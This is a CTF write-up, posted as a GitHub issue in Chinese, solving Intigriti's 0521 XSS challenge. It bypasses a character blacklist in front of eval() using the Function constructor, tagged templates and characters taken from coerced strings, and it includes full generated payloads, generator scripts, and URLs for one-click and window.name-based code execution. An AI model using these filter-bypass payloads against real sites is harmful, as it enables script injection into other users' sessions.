Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Intigriti’s 0521 XSS 挑戰解法:限定字元組合程式碼 #79

Open
aszx87410 opened this issue Jun 7, 2021 · 0 comments
Open
Labels
JS JavaScript Security Security

Comments

@aszx87410
Copy link
Owner

前言

Intigriti 是國外的一個 bug bounty 平台,每個月都會推出一個 XSS 挑戰,有大約一到兩週的時間可以去思考,目標是在特定網站上面執行 alert(document.domain),解出來之後把結果透過 Intigriti 平台回報,最後會隨機抽 3 個解掉的人得到他們自己商店的優惠券。

上個月的挑戰因為解出來的人不多,所以我有幸運抽到 50 歐元的優惠券,其實很划算,因為商店賣的東西其實都滿便宜的,我買了一件 t-shirt + 兩頂帽子再加國際運費,大概 45 歐元左右。

不過這種獎品就是靠運氣啦,還是解題好玩比較重要。

挑戰網址在這邊:https://challenge-0521.intigriti.io/

程式碼分析

解題的第一步就是分析一下它的程式碼,先了解一下這整個題目的運作為何。首頁這一頁看起來沒什麼東西,比較值得注意的只有一個網址是 ./captcha.php 的 iframe,直接來看看裡面是什麼:

<body>
    <form id="captcha">
        <div id="input-fields">
          <span id="a"></span>
          <span id="b">+</span>
          <input id="c" type="text" size="4" value="" required/>
          =
          <span id="d"></span>
          <progress id="e" value="0" max="100" style="display:none"></progress>
        </div>
          <input type="submit" id="f"/>
          <input type="button" onclick="setNewNumber()" value="Retry" id="g"/>
    </form>
</body>
<script>
    const a = document.querySelector("#a");
    const c = document.querySelector("#c");
    const b = document.querySelector("#b");
    const d = document.querySelector("#d");

    window.onload = function(){
      setNewNumber();
      document.getElementById("captcha").onsubmit = function(e){
          e.preventDefault();
          loadCalc(0);
      };
    }

    function loadCalc(pVal){
      document.getElementsByTagName("progress")[0].style.display = "block";
      document.getElementsByTagName("progress")[0].value = pVal;
      if(pVal == 100){
        calc();
      }
      else{
        window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
      }
    }

    function setNewNumber() {
            document.getElementsByTagName("progress")[0].style.display = "none";
        var dValue = Math.round(Math.random()*1000);
        d.innerText = dValue;
        a.innerText = Math.round(Math.random()* dValue);
    }

    function calc() {
        const operation = a.innerText + b.innerText + c.value;
        if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
            if (d.innerText == eval(operation)) {
              alert("🚫🤖 Congratulations, you're not a robot!");
            }
            else {
              alert("🤖 Sorry to break the news to you, but you are a robot!");
            }
            setNewNumber();
        }
        c.value = "";
    }

</script>

這邊有幾個 input,然後使用者按下送出時會把輸入的 c.value 丟到 eval 去執行,但有限定字元,不能使用:a-df-z<>()!\='",在英文字母裡面只有 e 是可以用的。

因此這題的目標就很明顯了,是要繞過這個字元的限制,然後透過那個 eval 幫我們執行 alert(document.domain)

全面啟動

(先寫在前面,這篇的程式碼你會看到有些 ` 是用全形,這是因為不這樣的話 markdown parser 會壞掉)

有關繞過字元限制,之前我有寫了一篇:如何不用英文字母與數字寫出 console.log(1)?,沒想到這次就派上用場了。

舉例來說,0/0 可以產生 NaN,所以 `${0/0}`[1] 就可以拿到字串 a。只要用類似的技巧,應該就可以產生出我們想要的所有字元。

但這題難的地方我覺得不在這,而是一開始在思考這題的時候腦袋容易打結,因為會分不太清楚什麼程式碼會直接被執行,什麼程式碼又不會。

舉例來說,就算費盡千辛萬苦拼出了目標字串好了,丟到 eval 去之後其實結果跟你想像中不太一樣,因為結構大概會像這樣:eval('"a"+"l"+"e"+"r"+"t"+"(1)"')

最後的結果會是字串:alert(1),而不是直接執行 alert(1),因為你在做的只是把想執行的程式碼拼出來,而 eval 只是幫你拼起來而已。那如果再把 eval 拼出來呢?

eval('"eval(a"+"l"+"e"+"r"+"t"+"(1))"'

這樣也是沒用的,也只會出現字串的 eval 而已。之所以這樣不行,是因為你拼的東西是字串中的字串。舉例來說,請看下面這兩段程式碼:

eval('alert(1)')
eval('"alert(1)"')

前者會跳出 alert,後者會輸出字串 alert。這就是因為後者是:「字串中的字串」。如果用字串拼接的方式,就一定會這樣。

所以如果需要執行程式碼的話,我們一定要有一些東西是不需要拼接的,在 JS 裡面可以把字串當作程式碼執行的有:

  1. eval
  2. function constructor
  3. setTimeout
  4. setInterval
  5. location

這裡面符合我們需求的,就是 function constructor 了!

為什麼這樣說呢?因為我們可以不直接透過字串存取到這個東西!先簡單講一下 function constructor,就是 Function() 這個東西,可以動態產生函式。

然後 Function 就是 Function.prototype.constructor,所以可以利用 prototype chain 加上陣列來存取到:[]['constructor']['constructor'] === Function // true

有了這個之後,就可以動態建立 function 並且執行了!

像這樣:[]['constructor']['constructor']('alert(1)')()

那為什麼這樣子放進 eval 之後就可以呢?因為 [] 並不是用字串組成的,所以放進 eval 會是這樣:eval("[]['constructor']['constructor']('alert(1)')()")

這樣一來,就可以在 eval 裡面透過 function constructor 去動態執行程式碼了,這就是這個章節的標題「全面啟動」的意思,一層還有一層。

不過除了要找出替代字串以外,還有一個問題,那就是函式呼叫不能使用 (),這該怎麼辦呢?

Tagged templates

有用過 React 中的 styled components 的話,對這個語法應該不陌生:

const Box = styled.div`
  background: red;
`

其實 styled.div 是一個 function,然後用反引號來呼叫 function。沒錯,反引號也是可以呼叫函式的,但要注意的是參數的傳遞會跟你想的不太一樣。

直接做個簡單示範就知道了:

function noop(...args) {
  console.log(args)
}

noop`1` // [["1"]]
noop`${'abc'}`// [["", ""], "abc"]
noop`1${'abc'}2` // [["1", "2"], "abc"]
noop`1${'a'}2${'b'}3${'c'}` // [["1", "2", "3", ""], "a", "b", "c"]

用反引號來呼叫函式的話,第一個參數會是一個陣列,裡面是所有一般的字串,隔開的標準是中間有 ${},而接下來第二個參數以後都是你放在 ${} 裡的內容。

更多範例可參考:[筆記] JavaScript ES6 中的模版字符串(template literals)和標籤模版(tagged template)

把我們上面的程式碼用反引號改寫會變這樣:

[]['constructor']['constructor']`${'alert(1)'}``

但這樣的話如果你丟去執行,會發現有錯。因為根據我們上面所說的,這樣寫的話傳去 function constructor 的參數會是:[""], 'alert(1)',第一個參數是一個含有空字串的陣列。

而 function constructor 除了最後一個參數之外,其他都會被當作要動態新增的函式的參數,例如說 Function('a', 'b', 'return a+b') 就是:

function (a, b) {
  return a+b
}

所以第一個參數給空字串是行不通的,加一個變數就行了,例如說題目允許的 e 或者是 _:

[]['constructor']['constructor']`_${'alert(1)'}``

// 產生出的函式
function anonymous(_,) {
  alert(1)
}

這樣就能順利執行程式碼了,因此最後剩下的就只有拼出 constructoralert(document.domain)

字串拼拼樂

除了我開頭提到的文章:如何不用英文字母與數字寫出 console.log(1)?之外,jsfuck 的程式碼也有很多可以參考的地方。

底下是我用的幾個:

1. `${``+{}}` => "[object Object]"
2. `${``[0]}` => "undefined"
3. `${e}` => "[object HTMLProgressElement]"
4. `${0/0}` => "NaN"

我們可以從上面這些組合中,找到所有需要的字元。接下來只差最後兩個了,就是 (),我們必須也用拼的拼出這兩個字元才行。

這要怎麼拿到呢?在 JS 裡面把 function 變成字串的話,就會是整個 function 的內容,像這樣:

`${[]['constructor']}`
=> "function Array() { [native code] }"

可以透過這樣子拿到這裡面的 () 這兩個字元。

結合以上的技巧,我自己寫了一個簡單的小程式去產出最終的結果:

const mapping = {
  a: '`${0/0}`[1]',
  c: '`${``+{}}`[5]',
  d: '`${``[0]}`[2]',
  e: '`e`',
  i: '`${``[0]}`[5]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${``[0]}`[1]',
  o: '`${``+{}}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${``+{}}`[6]',
  u: '`${``[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'error:' + c).join('+')
}

const cons = getString('constructor')
mapping['('] = '`${[][' + cons + ']}`[14]'
mapping[')'] = '`${[][' + cons + ']}`[15]'

const ans = 
  "[][" + 
  getString('constructor') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('alert(document.domain)') +
  "}```"

console.log(ans)

output(長度 851):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${``+{}}`[6]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${``[0]}`[2]+`${``+{}}`[1]+`${``+{}}`[5]+`${``[0]}`[0]+`${e}`[23]+`e`+`${``[0]}`[1]+`${``+{}}`[6]+`.`+`${``[0]}`[2]+`${``+{}}`[1]+`${e}`[23]+`${0/0}`[1]+`${``[0]}`[5]+`${``[0]}`[1]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}`` `

把上面這整串貼到網頁上的 input 然後按下提交,就會看到 alert 跳出來囉!

做到這邊之後我就很開心地去送答案,結果得到了一個回覆,跟我說這是 self-XSS,提示我說可以多往 php 那邊去研究一點。

沒錯,我都忘記這是一個 self-XSS 了,因為需要自己把這串 payload 貼在 input 上面送出,就有點像是使用者必須自己把惡意程式碼貼過來一樣,這種通常沒辦法構成具有嚴重性的漏洞。

因此我就往 PHP 那邊去看,隨便試了一下發現 c=xxx 的內容會直接反映在 c.value 上,所以只要把上面那一串放到網址上面去就好了,變成:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${``%2b{}}`[6]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${``[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${``[0]}`[1]%2b`${``%2b{}}`[6]%2b`.`%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}``+`

這樣子使用者點了網址之後 payload 就會自動填好,只要按按鈕就可以觸發。於是我們把 self-XSS 變成了 one-click XSS,點個按鈕就會中招。

做到這邊其實就通過這題了,但因為還有時間,所以我還想再研究更多東西。

執行任意程式碼

只是執行固定的程式碼不太好玩,有沒有可能執行任意程式碼?像是這種任意程式碼執行通常都會透過幾個方法把程式碼帶進去,例如說:

  1. window.name
  2. iframe + top.name
  3. location.hash

這邊前兩者都需要自己再做另一個網頁,只有 location.hash 不需要,因此這邊就先以這個作法為主吧!

我們需要湊出的字串是:

[]['constructor']['constructor']`_${'eval(location.hash.slice(1))'}`` `

這樣只要讓網址最後面是:#alert(document.domain),就可以達成一樣的效果了。

新的字元組合,缺少的只有兩個:v 跟 h。

這兩個其實不太好找,因為比較好找的已經都被我們找完了。那還有哪裡可以找呢?

首先是 v 的部分,其實可以把原生的 function 變成 string,就能拿到 [native code] 這個字串。但是在 Chrome 上與 Firefox 上的輸出不太一樣,以 RegExp 為例,

Chrome 的輸出是:function RegExp() { [native code] }
Firefox 的輸出是:function RegExp() {\n [native code]\n}

Firefox 的輸出會換行而 Chrome 不會,這就造成了字元 index 的差異,所以沒辦法跨瀏覽器取得 v 這個字。不過我們先不管這個,先來看 h 好了。

h 一樣也是不容易取得,但如果我們能組出:17['toString']`36`,其實就能拿到 h。

因為上面的程式碼就是把 17 這個數字轉成 36 進位,這樣就可以拿到 h,因為 h 是第 8 個英文字母(9 個數字 + 第 8 個英文字母 = 17)。

那這個大寫的 S 怎麼拿呢?String constructor 可以拿到:

``['constructor'] + ''
// output
// "function String() { [native code] }"

而且一旦我們可以用 toString 的這個技巧,其實任何小寫英文字母都可以拿到了,當然也包含前面所說的 v。

詳細過程我就不示範了,把程式改一下就好,最後的結果是(1925 個字):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`e`+31[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[21]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${e}`[21]+`${``+{}}`[1]+`${``+{}}`[5]+`${0/0}`[1]+`${``+{}}`[6]+`${``[0]}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`.`+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[18]+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`.`+`${e}`[18]+`${e}`[21]+`${``[0]}`[5]+`${``+{}}`[5]+`e`+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+1+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}`` `

網址則是:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`e`%2b31[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${e}`[21]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${0/0}`[1]%2b`${``%2b{}}`[6]%2b`${``[0]}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`.`%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[18]%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`.`%2b`${e}`[18]%2b`${e}`[21]%2b`${``[0]}`[5]%2b`${``%2b{}}`[5]%2b`e`%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b1%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}``+`#alert(document.domain)

挑戰最短程式碼

可以執行任意程式碼之後,還有什麼可以玩呢?那就是挑戰最短的程式碼!試著把程式碼弄到最短看看。

可以想到的有:

1.不要用 ``[0] 拿到 undefined,而是用 e[0],可以省一個字元
2. ``+{} 來拿 [object Object] 其實多此一舉,用 `{}` 就好,省了三個字
3. 有可以用到 e 的地方盡量用到 e,因為程式碼會最少

再來我們本來是用 []['constructor'] 來拿到 function,這樣有點太長了,可以用很科學的方式來找出最短的:

let min = 99
let winner = ''
for (let prop of Object.getOwnPropertyNames(Array.prototype)) {
  const len = getString(prop).length
  if (len < min) {
    min = len
    winner = prop
  }
}
console.log(winner, min)

找出來的冠軍是 some,可以拿來取代本來使用的 []['constructor']

最後呢,因為我們不需要執行任意程式碼了,所以用 alert(document.domain) 就好,至於 eval(name) 的話雖然乍看之下更短,但因為要拿到 v 不容易,所以其實會花費更多字元。

底下是產生出來的結果,長度 466 個字:

length: 466
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${e}`[6]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e[0]}`[2]+`${e}`[1]+`${e}`[5]+`${e[0]}`[0]+`${e}`[23]+`e`+`${e}`[25]+`${e}`[6]+`.`+`${e[0]}`[2]+`${e}`[1]+`${e}`[23]+`${0/0}`[1]+`${e[0]}`[5]+`${e}`[25]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}`` `
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${e}`[6]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[5]%2b`${e[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${e}`[25]%2b`${e}`[6]%2b`.`%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${e[0]}`[5]%2b`${e}`[25]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}``+`

用來產生的程式碼是:

const mapping = {
  a: '`${0/0}`[1]',
  b: '`${e}`[2]',
  c: '`${e}`[5]',
  d: '`${e[0]}`[2]',
  e: '`e`',
  f: '`${e[0]}`[4]',
  g: '`${e}`[15]',
  i: '`${e[0]}`[5]',
  j: '`${e}`[3]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${e}`[25]',
  o: '`${e}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${e}`[6]',
  u: '`${e[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}

const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'

const cons = getString('constructor')
let strConstructor = '``['+ cons + ']'
strConstructor = '`${' + strConstructor + '}`'

const strToString = `${mapping.t}+${mapping.o}+${strConstructor}[9]+${mapping.t}+${mapping.r}+${mapping.i}+${mapping.n}+${mapping.g}`
mapping.v = '31[' + strToString + ']`36`'

const ans = 
  "[][" + 
  getString('some') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('alert(document.domain)') +
  "}```"

console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))

再次縮短

把上面的結果拿去平台上 submit 之後,作者說目前看到最短的是 376 個字元。我想了一陣子發現想不太到,然後就靈機一動想說:「那來試試看 v 那個方法好了,先不管瀏覽器問題」

幫大家回顧一下瀏覽器問題是什麼,那問題就是如果想用 function to string 的方式拿到 v,Chrome 跟 Firefox 產生的結果不同:

[]['some']+''

// Chrome
"function some() { [native code] }"
v: index 23

// Firefox
"function some() {
    [native code]
}"
v: index 27

所以同一個 payload 無法同時應用在這兩個網頁上面。

先不管這問題的話,產生出來的結果是這樣:

length: 376
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[23]+`${0/0}`[1]+`${e}`[21]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e}`[25]+`${0/0}`[1]+`${e}`[23]+`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}`` `
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[23]%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e}`[25]%2b`${0/0}`[1]%2b`${e}`[23]%2b`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}`` `

376 個字,跟剛剛的 466 比起來少了快一百個。

用來產生的完整程式碼:

const mapping = {
  a: '`${0/0}`[1]',
  b: '`${e}`[2]',
  c: '`${e}`[5]',
  d: '`${e[0]}`[2]',
  e: '`e`',
  f: '`${e[0]}`[4]',
  g: '`${e}`[15]',
  i: '`${e[0]}`[5]',
  j: '`${e}`[3]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${e}`[25]',
  o: '`${e}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${e}`[6]',
  u: '`${e[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}

const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'

mapping.v = '`${[][' + getString('some') + ']}`[23]'

const ans = 
  "[][" + 
  getString('some') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('eval(name)') +
  "}```"

console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))

有些人可能不知道為什麼 eval(name) 可以,這是因為 window.name 是個神奇的屬性,基本上同一個分頁的 name 會相同,所以我們只要自己新建一個 html,裡面寫 JS 並且設定 window.name = 'alert(document.domain)',然後用 location= 跳轉到 PHP 那邊,那裡的 name 就會是我們剛剛設定好的。

沒錯,跨網域也適用。

因為我最後試出來的結果也是 376 個字,跟作者說的最短 payload 相同,詢問過後發現其實就是同一個。

結語

從這個挑戰中可以學到一些 JS 相關的東西,像是:

  1. 在限制之下湊出指定字元
  2. 用反引號 backtick 來呼叫函式以及參數的規則
  3. 用 function constructor 動態建立函式

這些知識在什麼時候會有用呢?對攻擊者而言,當你碰到一個有過濾字元的地方的時候,就可以利用這些技巧想辦法繞過限制。

對防禦方來說,在過濾時就需要考量到這些繞過的方法,如果知道可以這樣繞過,就能把 filter 訂得更精確。

不過這都只是後話,對我來說會解這些題目只是因為好玩,也沒有去想說會有什麼幫助,那些都是以後的事了。

這個平台每個月都會有 XSS 挑戰,期待之後的更多挑戰!

@aszx87410 aszx87410 added JS JavaScript Security Security labels Jun 7, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
JS JavaScript Security Security
Projects
None yet
Development

